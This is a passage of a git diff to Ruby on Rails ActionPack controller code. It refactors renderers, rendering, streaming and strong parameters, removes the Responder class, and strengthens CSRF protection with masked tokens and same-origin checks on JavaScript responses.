+ else
+ url_for(options)
+ end.delete("\0\r\n")
end
+ module_function :_compute_redirect_to_location
+ public :_compute_redirect_to_location
private
def _extract_redirect_to_status(options, response_status)
- status = if options.is_a?(Hash) && options.key?(:status)
+ if options.is_a?(Hash) && options.key?(:status)
Rack::Utils.status_code(options.delete(:status))
elsif response_status.key?(:status)
Rack::Utils.status_code(response_status[:status])
@@ -82,25 +108,5 @@ module ActionController
302
end
end
-
- def _compute_redirect_to_location(options)
- case options
- # The scheme name consist of a letter followed by any combination of
- # letters, digits, and the plus ("+"), period ("."), or hyphen ("-")
- # characters; and is terminated by a colon (":").
- # The protocol relative scheme starts with a double slash "//"
- when %r{^(\w[\w+.-]*:|//).*}
- options
- when String
- request.protocol + request.host_with_port + options
- when :back
- raise RedirectBackError unless refer = request.headers["Referer"]
- refer
- when Proc
- _compute_redirect_to_location options.call
- else
- url_for(options)
- end.delete("\0\r\n")
- end
end
end
diff --git a/actionpack/lib/action_controller/metal/renderers.rb b/actionpack/lib/action_controller/metal/renderers.rb
index 5272dc6cdb..45d3962494 100644
--- a/actionpack/lib/action_controller/metal/renderers.rb
+++ b/actionpack/lib/action_controller/metal/renderers.rb
@@ -6,6 +6,17 @@ module ActionController
Renderers.add(key, &block)
end
+ # See <tt>Renderers.remove</tt>
+ def self.remove_renderer(key)
+ Renderers.remove(key)
+ end
+
+ class MissingRenderer < LoadError
+ def initialize(format)
+ super "No renderer defined for format: #{format}"
+ end
+ end
+
module Renderers
extend ActiveSupport::Concern
@@ -23,23 +34,28 @@ module ActionController
end
def render_to_body(options)
- _handle_render_options(options) || super
+ _render_to_body_with_renderer(options) || super
end
- def _handle_render_options(options)
+ def _render_to_body_with_renderer(options)
_renderers.each do |name|
if options.key?(name)
_process_options(options)
- return send("_render_option_#{name}", options.delete(name), options)
+ method_name = Renderers._render_with_renderer_method_name(name)
+ return send(method_name, options.delete(name), options)
end
end
nil
end
- # Hash of available renderers, mapping a renderer name to its proc.
- # Default keys are :json, :js, :xml.
+ # A Set containing renderer names that correspond to available renderer procs.
+ # Default values are <tt>:json</tt>, <tt>:js</tt>, <tt>:xml</tt>.
RENDERERS = Set.new
+ def self._render_with_renderer_method_name(key)
+ "_render_with_renderer_#{key}"
+ end
+
# Adds a new renderer to call within controller actions.
# A renderer is invoked by passing its name as an option to
# <tt>AbstractController::Rendering#render</tt>. To create a renderer
@@ -67,16 +83,26 @@ module ActionController
# respond_to do |format|
# format.html
# format.csv { render csv: @csvable, filename: @csvable.name }
- # }
+ # end
# end
# To use renderers and their mime types in more concise ways, see
- # <tt>ActionController::MimeResponds::ClassMethods.respond_to</tt> and
- # <tt>ActionController::MimeResponds#respond_with</tt>
+ # <tt>ActionController::MimeResponds::ClassMethods.respond_to</tt>
def self.add(key, &block)
- define_method("_render_option_#{key}", &block)
+ define_method(_render_with_renderer_method_name(key), &block)
RENDERERS << key.to_sym
end
+ # This method is the opposite of add method.
+ #
+ # Usage:
+ #
+ # ActionController::Renderers.remove(:csv)
+ def self.remove(key)
+ RENDERERS.delete(key.to_sym)
+ method_name = _render_with_renderer_method_name(key)
+ remove_method(method_name) if method_defined?(method_name)
+ end
+
module All
extend ActiveSupport::Concern
include Renderers
@@ -90,8 +116,11 @@ module ActionController
json = json.to_json(options) unless json.kind_of?(String)
if options[:callback].present?
- self.content_type ||= Mime::JS
- "#{options[:callback]}(#{json})"
+ if content_type.nil? || content_type == Mime::JSON
+ self.content_type = Mime::JS
+ end
+
+ "/**/#{options[:callback]}(#{json})"
else
self.content_type ||= Mime::JSON
json
diff --git a/actionpack/lib/action_controller/metal/rendering.rb b/actionpack/lib/action_controller/metal/rendering.rb
index c5e7d4e357..7bbff0450a 100644
--- a/actionpack/lib/action_controller/metal/rendering.rb
+++ b/actionpack/lib/action_controller/metal/rendering.rb
@@ -2,39 +2,56 @@ module ActionController
module Rendering
extend ActiveSupport::Concern
- include AbstractController::Rendering
+ RENDER_FORMATS_IN_PRIORITY = [:body, :text, :plain, :html]
# Before processing, set the request formats in current controller formats.
def process_action(*) #:nodoc:
- self.formats = request.formats.map { |x| x.ref }
+ self.formats = request.formats.map(&:ref).compact
super
end
# Check for double render errors and set the content_type after rendering.
def render(*args) #:nodoc:
- raise ::AbstractController::DoubleRenderError if response_body
+ raise ::AbstractController::DoubleRenderError if self.response_body
super
- self.content_type ||= Mime[lookup_context.rendered_format].to_s
- response_body
end
# Overwrite render_to_string because body can now be set to a rack body.
def render_to_string(*)
- if self.response_body = super
+ result = super
+ if result.respond_to?(:each)
string = ""
- response_body.each { |r| string << r }
+ result.each { |r| string << r }
string
+ else
+ result
end
- ensure
- self.response_body = nil
end
- def render_to_body(*)
- super || " "
+ def render_to_body(options = {})
+ super || _render_in_priorities(options) || ' '
end
private
+ def _render_in_priorities(options)
+ RENDER_FORMATS_IN_PRIORITY.each do |format|
+ return options[format] if options.key?(format)
+ end
+
+ nil
+ end
+
+ def _process_format(format, options = {})
+ super
+
+ if options[:plain]
+ self.content_type = Mime::TEXT
+ else
+ self.content_type ||= format.to_s
+ end
+ end
+
# Normalize arguments by catching blocks and setting them on :update.
def _normalize_args(action=nil, options={}, &blk) #:nodoc:
options = super
@@ -44,12 +61,14 @@ module ActionController
# Normalize both text and status options.
def _normalize_options(options) #:nodoc:
- if options.key?(:text) && options[:text].respond_to?(:to_text)
- options[:text] = options[:text].to_text
+ _normalize_text(options)
+
+ if options[:html]
+ options[:html] = ERB::Util.html_escape(options[:html])
end
- if options.delete(:nothing) || (options.key?(:text) && options[:text].nil?)
- options[:text] = " "
+ if options.delete(:nothing)
+ options[:body] = nil
end
if options[:status]
@@ -59,6 +78,14 @@ module ActionController
super
end
+ def _normalize_text(options)
+ RENDER_FORMATS_IN_PRIORITY.each do |format|
+ if options.key?(format) && options[format].respond_to?(:to_text)
+ options[format] = options[format].to_text
+ end
+ end
+ end
+
# Process controller specific options, as status, content-type and location.
def _process_options(options) #:nodoc:
status, content_type, location = options.values_at(:status, :content_type, :location)
diff --git a/actionpack/lib/action_controller/metal/request_forgery_protection.rb b/actionpack/lib/action_controller/metal/request_forgery_protection.rb
index c5db0cb0d4..fd20682f8f 100644
--- a/actionpack/lib/action_controller/metal/request_forgery_protection.rb
+++ b/actionpack/lib/action_controller/metal/request_forgery_protection.rb
@@ -1,18 +1,29 @@
require 'rack/session/abstract/id'
require 'action_controller/metal/exceptions'
+require 'active_support/security_utils'
module ActionController #:nodoc:
class InvalidAuthenticityToken < ActionControllerError #:nodoc:
end
+ class InvalidCrossOriginRequest < ActionControllerError #:nodoc:
+ end
+
# Controller actions are protected from Cross-Site Request Forgery (CSRF) attacks
- # by including a token in the rendered html for your application. This token is
+ # by including a token in the rendered HTML for your application. This token is
# stored as a random string in the session, to which an attacker does not have
# access. When a request reaches your application, \Rails verifies the received
# token with the token in the session. Only HTML and JavaScript requests are checked,
# so this will not protect your XML API (presumably you'll have a different
- # authentication scheme there anyway). Also, GET requests are not protected as these
- # should be idempotent.
+ # authentication scheme there anyway).
+ #
+ # GET requests are not protected since they don't have side effects like writing
+ # to the database and don't leak sensitive information. JavaScript requests are
+ # an exception: a third-party site can use a <script> tag to reference a JavaScript
+ # URL on your site. When your JavaScript response loads on their site, it executes.
+ # With carefully crafted JavaScript on their end, sensitive data in your JavaScript
+ # response may be extracted. To prevent this, only XmlHttpRequest (known as XHR or
+ # Ajax) requests are allowed to make GET requests for JavaScript responses.
#
# It's important to remember that XML or JSON requests are also affected and if
# you're building an API you'll need something like:
@@ -34,7 +45,7 @@ module ActionController #:nodoc:
#
# The token parameter is named <tt>authenticity_token</tt> by default. The name and
# value of this token must be added to every layout that renders forms by including
- # <tt>csrf_meta_tags</tt> in the html +head+.
+ # <tt>csrf_meta_tags</tt> in the HTML +head+.
#
# Learn more about CSRF attacks and securing your application in the
# {Ruby on Rails Security Guide}[http://guides.rubyonrails.org/security.html].
@@ -50,28 +61,35 @@ module ActionController #:nodoc:
config_accessor :request_forgery_protection_token
self.request_forgery_protection_token ||= :authenticity_token
+ # Holds the class which implements the request forgery protection.
+ config_accessor :forgery_protection_strategy
+ self.forgery_protection_strategy = nil
+
# Controls whether request forgery protection is turned on or not. Turned off by default only in test mode.
config_accessor :allow_forgery_protection
self.allow_forgery_protection = true if allow_forgery_protection.nil?
+ # Controls whether a CSRF failure logs a warning. On by default.
+ config_accessor :log_warning_on_csrf_failure
+ self.log_warning_on_csrf_failure = true
+
helper_method :form_authenticity_token
helper_method :protect_against_forgery?
end
module ClassMethods
- # Turn on request forgery protection. Bear in mind that only non-GET, HTML/JavaScript requests are checked.
+ # Turn on request forgery protection. Bear in mind that GET and HEAD requests are not checked.
+ #
+ # class ApplicationController < ActionController::Base
+ # protect_from_forgery
+ # end
#
# class FooController < ApplicationController
# protect_from_forgery except: :index
#
- # You can disable csrf protection on controller-by-controller basis:
- #
+ # You can disable CSRF protection on controller by skipping the verification before_action:
# skip_before_action :verify_authenticity_token
#
- # It can also be disabled for specific controller actions:
- #
- # skip_before_action :verify_authenticity_token, except: [:create]
- #
# Valid Options:
#
# * <tt>:only/:except</tt> - Passed to the <tt>before_action</tt> call. Set which actions are verified.
@@ -82,14 +100,15 @@ module ActionController #:nodoc:
# * <tt>:reset_session</tt> - Resets the session.
# * <tt>:null_session</tt> - Provides an empty session during request but doesn't reset it completely. Used as default if <tt>:with</tt> option is not specified.
def protect_from_forgery(options = {})
- include protection_method_module(options[:with] || :null_session)
+ self.forgery_protection_strategy = protection_method_class(options[:with] || :null_session)
self.request_forgery_protection_token ||= :authenticity_token
prepend_before_action :verify_authenticity_token, options
+ append_after_action :verify_same_origin_request
end
private
- def protection_method_module(name)
+ def protection_method_class(name)
ActionController::RequestForgeryProtection::ProtectionMethods.const_get(name.to_s.classify)
rescue NameError
raise ArgumentError, 'Invalid request forgery protection method, use :null_session, :exception, or :reset_session'
@@ -97,23 +116,32 @@ module ActionController #:nodoc:
end
module ProtectionMethods
- module NullSession
- protected
+ class NullSession
+ def initialize(controller)
+ @controller = controller
+ end
# This is the method that defines the application behavior when a request is found to be unverified.
def handle_unverified_request
- request.session = NullSessionHash.new
+ request = @controller.request
+ request.session = NullSessionHash.new(request.env)
request.env['action_dispatch.request.flash_hash'] = nil
request.env['rack.session.options'] = { skip: true }
request.env['action_dispatch.cookies'] = NullCookieJar.build(request)
end
+ protected
+
class NullSessionHash < Rack::Session::Abstract::SessionHash #:nodoc:
- def initialize
- super(nil, nil)
+ def initialize(env)
+ super(nil, env)
+ @data = {}
@loaded = true
end
+ # no-op
+ def destroy; end
+
def exists?
true
end
@@ -125,7 +153,7 @@ module ActionController #:nodoc:
host = request.host
secure = request.ssl?
- new(key_generator, host, secure)
+ new(key_generator, host, secure, options_for_env({}))
end
def write(*)
@@ -134,16 +162,20 @@ module ActionController #:nodoc:
end
end
- module ResetSession
- protected
+ class ResetSession
+ def initialize(controller)
+ @controller = controller
+ end
def handle_unverified_request
- reset_session
+ @controller.reset_session
end
end
- module Exception
- protected
+ class Exception
+ def initialize(controller)
+ @controller = controller
+ end
def handle_unverified_request
raise ActionController::InvalidAuthenticityToken
@@ -152,28 +184,138 @@ module ActionController #:nodoc:
end
protected
- # The actual before_action that is used. Modify this to change how you handle unverified requests.
+ # The actual before_action that is used to verify the CSRF token.
+ # Don't override this directly. Provide your own forgery protection
+ # strategy instead. If you override, you'll disable same-origin
+ # `<script>` verification.
+ #
+ # Lean on the protect_from_forgery declaration to mark which actions are
+ # due for same-origin request verification. If protect_from_forgery is
+ # enabled on an action, this before_action flags its after_action to
+ # verify that JavaScript responses are for XHR requests, ensuring they
+ # follow the browser's same-origin policy.
def verify_authenticity_token
- unless verified_request?
- logger.warn "Can't verify CSRF token authenticity" if logger
+ mark_for_same_origin_verification!
+
+ if !verified_request?
+ if logger && log_warning_on_csrf_failure
+ logger.warn "Can't verify CSRF token authenticity"
+ end
handle_unverified_request
end
end
+ def handle_unverified_request
+ forgery_protection_strategy.new(self).handle_unverified_request
+ end
+
+ CROSS_ORIGIN_JAVASCRIPT_WARNING = "Security warning: an embedded " \
+ "<script> tag on another site requested protected JavaScript. " \
+ "If you know what you're doing, go ahead and disable forgery " \
+ "protection on this action to permit cross-origin JavaScript embedding."
+ private_constant :CROSS_ORIGIN_JAVASCRIPT_WARNING
+
+ # If `verify_authenticity_token` was run (indicating that we have
+ # forgery protection enabled for this request) then also verify that
+ # we aren't serving an unauthorized cross-origin response.
+ def verify_same_origin_request
+ if marked_for_same_origin_verification? && non_xhr_javascript_response?
+ logger.warn CROSS_ORIGIN_JAVASCRIPT_WARNING if logger
+ raise ActionController::InvalidCrossOriginRequest, CROSS_ORIGIN_JAVASCRIPT_WARNING
+ end
+ end
+
+ # GET requests are checked for cross-origin JavaScript after rendering.
+ def mark_for_same_origin_verification!
+ @marked_for_same_origin_verification = request.get?
+ end
+
+ # If the `verify_authenticity_token` before_action ran, verify that
+ # JavaScript responses are only served to same-origin GET requests.
+ def marked_for_same_origin_verification?
+ @marked_for_same_origin_verification ||= false
+ end
+
+ # Check for cross-origin JavaScript responses.
+ def non_xhr_javascript_response?
+ content_type =~ %r(\Atext/javascript) && !request.xhr?
+ end
+
+ AUTHENTICITY_TOKEN_LENGTH = 32
+
# Returns true or false if a request is verified. Checks:
#
- # * is it a GET request? Gets should be safe and idempotent
+ # * is it a GET or HEAD request? Gets should be safe and idempotent
# * Does the form_authenticity_token match the given token value from the params?
# * Does the X-CSRF-Token header match the form_authenticity_token
def verified_request?
- !protect_against_forgery? || request.get? ||
- form_authenticity_token == params[request_forgery_protection_token] ||
- form_authenticity_token == request.headers['X-CSRF-Token']
+ !protect_against_forgery? || request.get? || request.head? ||
+ valid_authenticity_token?(session, form_authenticity_param) ||
+ valid_authenticity_token?(session, request.headers['X-CSRF-Token'])
end
# Sets the token value for the current session.
def form_authenticity_token
- session[:_csrf_token] ||= SecureRandom.base64(32)
+ masked_authenticity_token(session)
+ end
+
+ # Creates a masked version of the authenticity token that varies
+ # on each request. The masking is used to mitigate SSL attacks
+ # like BREACH.
+ def masked_authenticity_token(session)
+ one_time_pad = SecureRandom.random_bytes(AUTHENTICITY_TOKEN_LENGTH)
+ encrypted_csrf_token = xor_byte_strings(one_time_pad, real_csrf_token(session))
+ masked_token = one_time_pad + encrypted_csrf_token
+ Base64.strict_encode64(masked_token)
+ end
+
+ # Checks the client's masked token to see if it matches the
+ # session token. Essentially the inverse of
+ # +masked_authenticity_token+.
+ def valid_authenticity_token?(session, encoded_masked_token)
+ return false if encoded_masked_token.nil? || encoded_masked_token.empty?
+
+ begin
+ masked_token = Base64.strict_decode64(encoded_masked_token)
+ rescue ArgumentError # encoded_masked_token is invalid Base64
+ return false
+ end
+
+ # See if it's actually a masked token or not. In order to
+ # deploy this code, we should be able to handle any unmasked
+ # tokens that we've issued without error.
+
+ if masked_token.length == AUTHENTICITY_TOKEN_LENGTH
+ # This is actually an unmasked token. This is expected if
+ # you have just upgraded to masked tokens, but should stop
+ # happening shortly after installing this gem
+ compare_with_real_token masked_token, session
+
+ elsif masked_token.length == AUTHENTICITY_TOKEN_LENGTH * 2
+ # Split the token into the one-time pad and the encrypted
+ # value and decrypt it
+ one_time_pad = masked_token[0...AUTHENTICITY_TOKEN_LENGTH]
+ encrypted_csrf_token = masked_token[AUTHENTICITY_TOKEN_LENGTH..-1]
+ csrf_token = xor_byte_strings(one_time_pad, encrypted_csrf_token)
+
+ compare_with_real_token csrf_token, session
+
+ else
+ false # Token is malformed
+ end
+ end
+
+ def compare_with_real_token(token, session)
+ ActiveSupport::SecurityUtils.secure_compare(token, real_csrf_token(session))
+ end
+
+ def real_csrf_token(session)
+ session[:_csrf_token] ||= SecureRandom.base64(AUTHENTICITY_TOKEN_LENGTH)
+ Base64.strict_decode64(session[:_csrf_token])
+ end
+
+ def xor_byte_strings(s1, s2)
+ s1.bytes.zip(s2.bytes).map { |(c1,c2)| c1 ^ c2 }.pack('c*')
end
# The form's authenticity parameter. Override to provide your own.
@@ -181,6 +323,7 @@ module ActionController #:nodoc:
params[request_forgery_protection_token]
end
+ # Checks if the controller allows forgery protection.
def protect_against_forgery?
allow_forgery_protection
end
diff --git a/actionpack/lib/action_controller/metal/responder.rb b/actionpack/lib/action_controller/metal/responder.rb
deleted file mode 100644
index 891819968b..0000000000
--- a/actionpack/lib/action_controller/metal/responder.rb
+++ /dev/null
@@ -1,287 +0,0 @@
-require 'active_support/json'
-
-module ActionController #:nodoc:
- # Responsible for exposing a resource to different mime requests,
- # usually depending on the HTTP verb. The responder is triggered when
- # <code>respond_with</code> is called. The simplest case to study is a GET request:
- #
- # class PeopleController < ApplicationController
- # respond_to :html, :xml, :json
- #
- # def index
- # @people = Person.all
- # respond_with(@people)
- # end
- # end
- #
- # When a request comes in, for example for an XML response, three steps happen:
- #
- # 1) the responder searches for a template at people/index.xml;
- #
- # 2) if the template is not available, it will invoke <code>#to_xml</code> on the given resource;
- #
- # 3) if the responder does not <code>respond_to :to_xml</code>, call <code>#to_format</code> on it.
- #
- # === Builtin HTTP verb semantics
- #
- # The default \Rails responder holds semantics for each HTTP verb. Depending on the
- # content type, verb and the resource status, it will behave differently.
- #
- # Using \Rails default responder, a POST request for creating an object could
- # be written as:
- #
- # def create
- # @user = User.new(params[:user])
- # flash[:notice] = 'User was successfully created.' if @user.save
- # respond_with(@user)
- # end
- #
- # Which is exactly the same as:
- #
- # def create
- # @user = User.new(params[:user])
- #
- # respond_to do |format|
- # if @user.save
- # flash[:notice] = 'User was successfully created.'
- # format.html { redirect_to(@user) }
- # format.xml { render xml: @user, status: :created, location: @user }
- # else
- # format.html { render action: "new" }
- # format.xml { render xml: @user.errors, status: :unprocessable_entity }
- # end
- # end
- # end
- #
- # The same happens for PATCH/PUT and DELETE requests.
- #
- # === Nested resources
- #
- # You can supply nested resources as you do in <code>form_for</code> and <code>polymorphic_url</code>.
- # Consider the project has many tasks example. The create action for
- # TasksController would be like:
- #
- # def create
- # @project = Project.find(params[:project_id])
- # @task = @project.tasks.build(params[:task])
- # flash[:notice] = 'Task was successfully created.' if @task.save
- # respond_with(@project, @task)
- # end
- #
- # Giving several resources ensures that the responder will redirect to
- # <code>project_task_url</code> instead of <code>task_url</code>.
- #
- # Namespaced and singleton resources require a symbol to be given, as in
- # polymorphic urls. If a project has one manager which has many tasks, it
- # should be invoked as:
- #
- # respond_with(@project, :manager, @task)
- #
- # Note that if you give an array, it will be treated as a collection,
- # so the following is not equivalent:
- #
- # respond_with [@project, :manager, @task]
- #
- # === Custom options
- #
- # <code>respond_with</code> also allows you to pass options that are forwarded
- # to the underlying render call. Those options are only applied for success
- # scenarios. For instance, you can do the following in the create method above:
- #
- # def create
- # @project = Project.find(params[:project_id])
- # @task = @project.tasks.build(params[:task])
- # flash[:notice] = 'Task was successfully created.' if @task.save
- # respond_with(@project, @task, status: 201)
- # end
- #
- # This will return status 201 if the task was saved successfully. If not,
- # it will simply ignore the given options and return status 422 and the
- # resource errors. To customize the failure scenario, you can pass a
- # a block to <code>respond_with</code>:
- #
- # def create
- # @project = Project.find(params[:project_id])
- # @task = @project.tasks.build(params[:task])
- # respond_with(@project, @task, status: 201) do |format|
- # if @task.save
- # flash[:notice] = 'Task was successfully created.'
- # else
- # format.html { render "some_special_template" }
- # end
- # end
- # end
- #
- # Using <code>respond_with</code> with a block follows the same syntax as <code>respond_to</code>.
- class Responder
- attr_reader :controller, :request, :format, :resource, :resources, :options
-
- DEFAULT_ACTIONS_FOR_VERBS = {
- :post => :new,
- :patch => :edit,
- :put => :edit
- }
-
- def initialize(controller, resources, options={})
- @controller = controller
- @request = @controller.request
- @format = @controller.formats.first
- @resource = resources.last
- @resources = resources
- @options = options
- @action = options.delete(:action)
- @default_response = options.delete(:default_response)
- end
-
- delegate :head, :render, :redirect_to, :to => :controller
- delegate :get?, :post?, :patch?, :put?, :delete?, :to => :request
-
- # Undefine :to_json and :to_yaml since it's defined on Object
- undef_method(:to_json) if method_defined?(:to_json)
- undef_method(:to_yaml) if method_defined?(:to_yaml)
-
- # Initializes a new responder an invoke the proper format. If the format is
- # not defined, call to_format.
- #
- def self.call(*args)
- new(*args).respond
- end
-
- # Main entry point for responder responsible to dispatch to the proper format.
- #
- def respond
- method = "to_#{format}"
- respond_to?(method) ? send(method) : to_format
- end
-
- # HTML format does not render the resource, it always attempt to render a
- # template.
- #
- def to_html
- default_render
- rescue ActionView::MissingTemplate => e
- navigation_behavior(e)
- end
-
- # to_js simply tries to render a template. If no template is found, raises the error.
- def to_js
- default_render
- end
-
- # All other formats follow the procedure below. First we try to render a
- # template, if the template is not available, we verify if the resource
- # responds to :to_format and display it.
- #
- def to_format
- if get? || !has_errors? || response_overridden?
- default_render
- else
- display_errors
- end
- rescue ActionView::MissingTemplate => e
- api_behavior(e)
- end
-
- protected
-
- # This is the common behavior for formats associated with browsing, like :html, :iphone and so forth.
- def navigation_behavior(error)
- if get?
- raise error
- elsif has_errors? && default_action
- render :action => default_action
- else
- redirect_to navigation_location
- end
- end
-
- # This is the common behavior for formats associated with APIs, such as :xml and :json.
- def api_behavior(error)
- raise error unless resourceful?
-
- if get?
- display resource
- elsif post?
- display resource, :status => :created, :location => api_location
- else
- head :no_content
- end
- end
-
- # Checks whether the resource responds to the current format or not.
- #
- def resourceful?
- resource.respond_to?("to_#{format}")
- end
-
- # Returns the resource location by retrieving it from the options or
- # returning the resources array.
- #
- def resource_location
- options[:location] || resources
- end
- alias :navigation_location :resource_location
- alias :api_location :resource_location
-
- # If a response block was given, use it, otherwise call render on
- # controller.
- #
- def default_render
- if @default_response
- @default_response.call(options)
- else
- controller.default_render(options)
- end
- end
-
- # Display is just a shortcut to render a resource with the current format.
- #
- # display @user, status: :ok
- #
- # For XML requests it's equivalent to:
- #
- # render xml: @user, status: :ok
- #
- # Options sent by the user are also used:
- #
- # respond_with(@user, status: :created)
- # display(@user, status: :ok)
- #
- # Results in:
- #
- # render xml: @user, status: :created
- #
- def display(resource, given_options={})
- controller.render given_options.merge!(options).merge!(format => resource)
- end
-
- def display_errors
- controller.render format => resource_errors, :status => :unprocessable_entity
- end
-
- # Check whether the resource has errors.
- #
- def has_errors?
- resource.respond_to?(:errors) && !resource.errors.empty?
- end
-
- # By default, render the <code>:edit</code> action for HTML requests with errors, unless
- # the verb was POST.
- #
- def default_action
- @action ||= DEFAULT_ACTIONS_FOR_VERBS[request.request_method_symbol]
- end
-
- def resource_errors
- respond_to?("#{format}_resource_errors", true) ? send("#{format}_resource_errors") : resource.errors
- end
-
- def json_resource_errors
- {:errors => resource.errors}
- end
-
- def response_overridden?
- @default_response.present?
- end
- end
-end
diff --git a/actionpack/lib/action_controller/metal/streaming.rb b/actionpack/lib/action_controller/metal/streaming.rb
index 0b3c438ec2..04401cad7b 100644
--- a/actionpack/lib/action_controller/metal/streaming.rb
+++ b/actionpack/lib/action_controller/metal/streaming.rb
@@ -26,7 +26,7 @@ module ActionController #:nodoc:
#
# class PostsController
# def index
- # @posts = Post.scoped
+ # @posts = Post.all
# render stream: true
# end
# end
@@ -51,9 +51,9 @@ module ActionController #:nodoc:
#
# def dashboard
# # Allow lazy execution of the queries
- # @posts = Post.scoped
- # @pages = Page.scoped
- # @articles = Article.scoped
+ # @posts = Post.all
+ # @pages = Page.all
+ # @articles = Article.all
# render stream: true
# end
#
@@ -183,7 +183,7 @@ module ActionController #:nodoc:
# You may also want to configure other parameters like <tt>:tcp_nodelay</tt>.
# Please check its documentation for more information: http://unicorn.bogomips.org/Unicorn/Configurator.html#method-i-listen
#
- # If you are using Unicorn with Nginx, you may need to tweak Nginx.
+ # If you are using Unicorn with NGINX, you may need to tweak NGINX.
# Streaming should work out of the box on Rainbows.
#
# ==== Passenger
@@ -193,31 +193,29 @@ module ActionController #:nodoc:
module Streaming
extend ActiveSupport::Concern
- include AbstractController::Rendering
-
protected
- # Set proper cache control and transfer encoding when streaming
- def _process_options(options) #:nodoc:
- super
- if options[:stream]
- if env["HTTP_VERSION"] == "HTTP/1.0"
- options.delete(:stream)
- else
- headers["Cache-Control"] ||= "no-cache"
- headers["Transfer-Encoding"] = "chunked"
- headers.delete("Content-Length")
+ # Set proper cache control and transfer encoding when streaming
+ def _process_options(options) #:nodoc:
+ super
+ if options[:stream]
+ if env["HTTP_VERSION"] == "HTTP/1.0"
+ options.delete(:stream)
+ else
+ headers["Cache-Control"] ||= "no-cache"
+ headers["Transfer-Encoding"] = "chunked"
+ headers.delete("Content-Length")
+ end
end
end
- end
- # Call render_body if we are streaming instead of usual +render+.
- def _render_template(options) #:nodoc:
- if options.delete(:stream)
- Rack::Chunked::Body.new view_renderer.render_body(view_context, options)
- else
- super
+ # Call render_body if we are streaming instead of usual +render+.
+ def _render_template(options) #:nodoc:
+ if options.delete(:stream)
+ Rack::Chunked::Body.new view_renderer.render_body(view_context, options)
+ else
+ super
+ end
end
- end
end
end
diff --git a/actionpack/lib/action_controller/metal/strong_parameters.rb b/actionpack/lib/action_controller/metal/strong_parameters.rb
index 25e72adbe0..a5ee1e2159 100644
--- a/actionpack/lib/action_controller/metal/strong_parameters.rb
+++ b/actionpack/lib/action_controller/metal/strong_parameters.rb
@@ -1,6 +1,11 @@
-require 'active_support/concern'
require 'active_support/core_ext/hash/indifferent_access'
+require 'active_support/core_ext/array/wrap'
+require 'active_support/core_ext/string/filters'
+require 'active_support/deprecation'
require 'active_support/rescuable'
+require 'action_dispatch/http/upload'
+require 'stringio'
+require 'set'
module ActionController
# Raised when a required parameter is missing.
@@ -15,14 +20,28 @@ module ActionController
def initialize(param) # :nodoc:
@param = param
- super("param not found: #{param}")
+ super("param is missing or the value is empty: #{param}")
+ end
+ end
+
+ # Raised when a supplied parameter is not expected.
+ #
+ # params = ActionController::Parameters.new(a: "123", b: "456")
+ # params.permit(:c)
+ # # => ActionController::UnpermittedParameters: found unexpected keys: a, b
+ class UnpermittedParameters < IndexError
+ attr_reader :params # :nodoc:
+
+ def initialize(params) # :nodoc:
+ @params = params
+ super("found unpermitted parameter#{'s' if params.size > 1 }: #{params.join(", ")}")
end
end
# == Action Controller \Parameters
#
# Allows to choose which attributes should be whitelisted for mass updating
- # and thus prevent accidentally exposing that which shouldn’t be exposed.
+ # and thus prevent accidentally exposing that which shouldn't be exposed.
# Provides two methods for this purpose: #require and #permit. The former is
# used to mark parameters as required. The latter is used to set the parameter
# as permitted and limit which attributes should be allowed for mass updating.
@@ -40,13 +59,20 @@ module ActionController
# permitted.class # => ActionController::Parameters
# permitted.permitted? # => true
#
- # Person.first.update_attributes!(permitted)
+ # Person.first.update!(permitted)
# # => #<Person id: 1, name: "Francesco", age: 22, role: "user">
#
- # It provides a +permit_all_parameters+ option that controls the top-level
- # behaviour of new instances. If it's +true+, all the parameters will be
- # permitted by default. The default value for +permit_all_parameters+
- # option is +false+.
+ # It provides two options that controls the top-level behavior of new instances:
+ #
+ # * +permit_all_parameters+ - If it's +true+, all the parameters will be
+ # permitted by default. The default is +false+.
+ # * +action_on_unpermitted_parameters+ - Allow to control the behavior when parameters
+ # that are not explicitly permitted are found. The values can be <tt>:log</tt> to
+ # write a message on the logger or <tt>:raise</tt> to raise
+ # ActionController::UnpermittedParameters exception. The default value is <tt>:log</tt>
+ # in test and development environments, +false+ otherwise.
+ #
+ # Examples:
#
# params = ActionController::Parameters.new
# params.permitted? # => false
@@ -56,6 +82,16 @@ module ActionController
# params = ActionController::Parameters.new
# params.permitted? # => true
#
+ # params = ActionController::Parameters.new(a: "123", b: "456")
+ # params.permit(:c)
+ # # => {}
+ #
+ # ActionController::Parameters.action_on_unpermitted_parameters = :raise
+ #
+ # params = ActionController::Parameters.new(a: "123", b: "456")
+ # params.permit(:c)
+ # # => ActionController::UnpermittedParameters: found unpermitted keys: a, b
+ #
# <tt>ActionController::Parameters</tt> is inherited from
# <tt>ActiveSupport::HashWithIndifferentAccess</tt>, this means
# that you can fetch values using either <tt>:key</tt> or <tt>"key"</tt>.
@@ -65,6 +101,27 @@ module ActionController
# params["key"] # => "value"
class Parameters < ActiveSupport::HashWithIndifferentAccess
cattr_accessor :permit_all_parameters, instance_accessor: false
+ cattr_accessor :action_on_unpermitted_parameters, instance_accessor: false
+
+ # By default, never raise an UnpermittedParameters exception if these
+ # params are present. The default includes both 'controller' and 'action'
+ # because they are added by Rails and should be of no concern. One way
+ # to change these is to specify `always_permitted_parameters` in your
+ # config. For instance:
+ #
+ # config.always_permitted_parameters = %w( controller action format )
+ cattr_accessor :always_permitted_parameters
+ self.always_permitted_parameters = %w( controller action )
+
+ def self.const_missing(const_name)
+ super unless const_name == :NEVER_UNPERMITTED_PARAMS
+ ActiveSupport::Deprecation.warn(<<-MSG.squish)
+ `ActionController::Parameters::NEVER_UNPERMITTED_PARAMS` has been deprecated.
+ Use `ActionController::Parameters.always_permitted_parameters` instead.
+ MSG
+
+ always_permitted_parameters
+ end
# Returns a new instance of <tt>ActionController::Parameters</tt>.
# Also, sets the +permitted+ attribute to the default value of
@@ -87,6 +144,48 @@ module ActionController
@permitted = self.class.permit_all_parameters
end
+ # Returns a safe +Hash+ representation of this parameter with all
+ # unpermitted keys removed.
+ #
+ # params = ActionController::Parameters.new({
+ # name: 'Senjougahara Hitagi',
+ # oddity: 'Heavy stone crab'
+ # })
+ # params.to_h # => {}
+ #
+ # safe_params = params.permit(:name)
+ # safe_params.to_h # => {"name"=>"Senjougahara Hitagi"}
+ def to_h
+ if permitted?
+ to_hash
+ else
+ slice(*self.class.always_permitted_parameters).permit!.to_h
+ end
+ end
+
+ # Convert all hashes in values into parameters, then yield each pair like
+ # the same way as <tt>Hash#each_pair</tt>
+ def each_pair(&block)
+ super do |key, value|
+ convert_hashes_to_parameters(key, value)
+ end
+
+ super
+ end
